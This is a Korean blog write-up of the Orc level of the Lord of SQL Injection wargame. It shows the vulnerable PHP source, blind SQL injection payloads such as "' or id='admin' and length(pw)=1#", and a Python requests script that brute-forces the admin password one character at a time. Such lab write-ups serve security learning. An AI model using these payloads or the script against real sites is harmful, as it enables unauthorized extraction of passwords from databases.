web_security/Lord Of SQL

[LOS : Lord Of SQL Injection] 4번 Orc 문제 풀이

HawordFREAKEK 2022. 6. 4. 15:10

네 안녕하세요. Godhaword 입니다.

4번은 약간 "어? 왜 중간보스가 슬라임 던전에?" 라고 생각되는 문제 입니다.
제가 처음 LOS 4번을 풀 때는 뭐 말도 안되는 방법으로 pw를 우회하려했다가 나중에 파이썬 requests 모듈을 알게되고 브루트포싱이란 것을 알게 되고, Blind Sql injection 이라는 것을 알게 되어 겨우겨우 풀었던 문제로 기억납니다. 솔직히 이 뒤에 이어 나올 문제 제목은 봐도 "어? 이게 무슨 문제 였지?" 싶지만 orc 문제만은 "아 이런 내용이였지" 라고 기억이 납니다

문제 바로 보시죠

 

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  highlight_file(__FILE__); 
?>
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");

이번 문제는 pw 쪽에서 뭐 어떻게 우회를 해서 참 값을 뽑아내는게 끝이 아니고, admin의 pw와 저희가 입력한 pw가 같아야 orc 문제가 solve 됩니다.

Blind SQL Injection 같은 경우

https://godhaword.tistory.com/472

 

[WebHacking] SQLI(SQL Injection) 이란?(New)

네 안녕하세요. Godhaword 입니다. 원래 1주일에 하나 정도 쓸까 생각했는데 XSS 이야기 하면서 SQL Injection 이야기를 너무 비중있게 다뤘더라구요. 예전에 글을 썼던 2019년의 제가 생각하던 웹 해킹(We

godhaword.tistory.com

이 글 정독 한번 하고 와주시기 바랍니다.

그렇다면 바로 풀어보도록 하겠습니다.

 

requests 모듈을 이용하여 파라미터를 날려보면 위와 같은 값을 얻을 수 있습니다.
쿼리문을 url 부분에 붙혀서 날리는 사람도 있긴한데, 그렇게하면 url encoding 도 생각해줘야하고 뭐 할께 많아서 저는 params 변수에 값을 태워 날리는 편입니다.

그럼 이제 pw 값을 하나하나씩 알아보도록 하겠습니다.

Blind SQL Injection을 할 때는 

  1. 길이
  2. 각 단어
  3. 해당 값

순으로 찾는 편입니다.

관련 글은 

https://godhaword.tistory.com/473

 

[WebHacking] SQLI(SQL Injection) 필터링 우회 및 기법 총 정리

네 안녕하세요. Godhaword 입니다. 저번에 SQLI 관련 글을 쓰면서 큰 기초 뼈대 위주로 설명을 드렸습니다. https://godhaword.tistory.com/472 [WebHacking] SQLI(SQL Injection) 이란?(New) 네 안녕하세요. Godh..

godhaword.tistory.com

읽어보시면 편할 것 같습니다.

 

 

' or 1=1#을 통하여

<br><h2>Hello admin</h2>

이 소스가 참 거짓을 구별해주기 좋은 요소라고 판단하여 이 문장으로 참거짓을 구별해보도록 하겠습니다.


일단 pw의 길이를 구해봅시다.
여기서 많은 분들이 하시는 실수가 

' or length(pw)=1#

이런식으로 쿼리를 날리게 됩니다.

전에 문제풀때 말씀드린 것과 같이 앞부분은 거짓으로 만들어서 0 값을 갖게 하고 그 뒤에서 부터 쿼리를 공격자가 만들어가야합니다.

그렇기에 위에 쿼리처럼 날리게 된다면 pw의 length를 구하긴 하는데 무슨 id의 pw 길이를 구하는 건진 db에게 자세히 못 알려주기 때문에

' or id='admin' and length(pw)=1#

이런식으로 날려야 저희가 원하는 값을 얻을 수 있습니다.

위에서도 쿼리를 짧게 보냈을 시엔 4와 8 값이 나오나 id 값을 붙혀서 쿼리를 날리게 되면 8 값만 나오게 되는 것을 알 수 있습니다.

1. pw의 길이 값은 8 이다

 

이제 길이를 알았으니 한단어 한단어씩 알아봅시다.

코드를 좀 더 수정해서 2 중 for문으로 string 값과 substr의 시작점 부분을 변경해줍시다.

이 문제에 대해 오랫동안 잡고 늘어지신분은 혹시 이해가 안 가시더라도 위에 코드는 그냥 한번 따라쳐보세요. 따라 치시고 그대로 외우세요. 

자세한 코드설명은 

https://godhaword.tistory.com/473

 

[WebHacking] SQLI(SQL Injection) 필터링 우회 및 기법 총 정리

네 안녕하세요. Godhaword 입니다. 저번에 SQLI 관련 글을 쓰면서 큰 기초 뼈대 위주로 설명을 드렸습니다. https://godhaword.tistory.com/472 [WebHacking] SQLI(SQL Injection) 이란?(New) 네 안녕하세요. Godh..

godhaword.tistory.com

부분을 참고 하시길 바랍니다.

 

 

 

  • 이 문제로 알 수 있는 것
    - python으로도 브루트 포스를 할 수 있다.
    - php는 대소문자 구별 안해서 가운대에 a하나 대문자로 들어가도 값이 맞게 들어간다.
  • Key Point
나도.. 이제 해킹고수?
저 해킹, 보안할껀데 코딩, 개발 해야하나요? 라는 질문 하지말자
- Blind SQL Injection
- length, substr 함수
- python requests 모듈

 

지금 쓴 코드는 저장해 놓으시면 좋을 것 같습니다.

import requests

url="https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookies={'PHPSESSID' : 'bed19bf6oo1v0b3mrbnrim5q21'}

flag=""

for i in range(1,9):
    for j in range(42,120):
        params={'pw':f'\' or id=\'admin\' and substr(pw,{i},1)=\'{chr(j)}\'#'}

        res=requests.get(url=url,cookies=cookies,params=params)
        print(params)

        if("<br><h2>Hello admin</h2>" in res.text):
            print(f"{i}번째 : {chr(j)}")
            flag=flag+chr(j)
            break
            
            
print(flag)    
godhaword = input("exit")

앞으로는 코드를 보여드리긴 하지만 이렇게 텍스트로 공유드리진 않을 것 같습니다.
이 코드를 토대로 한 번 직접 타이핑 해보시는 것도 도움이 많이 될 것이라 생각됩니다.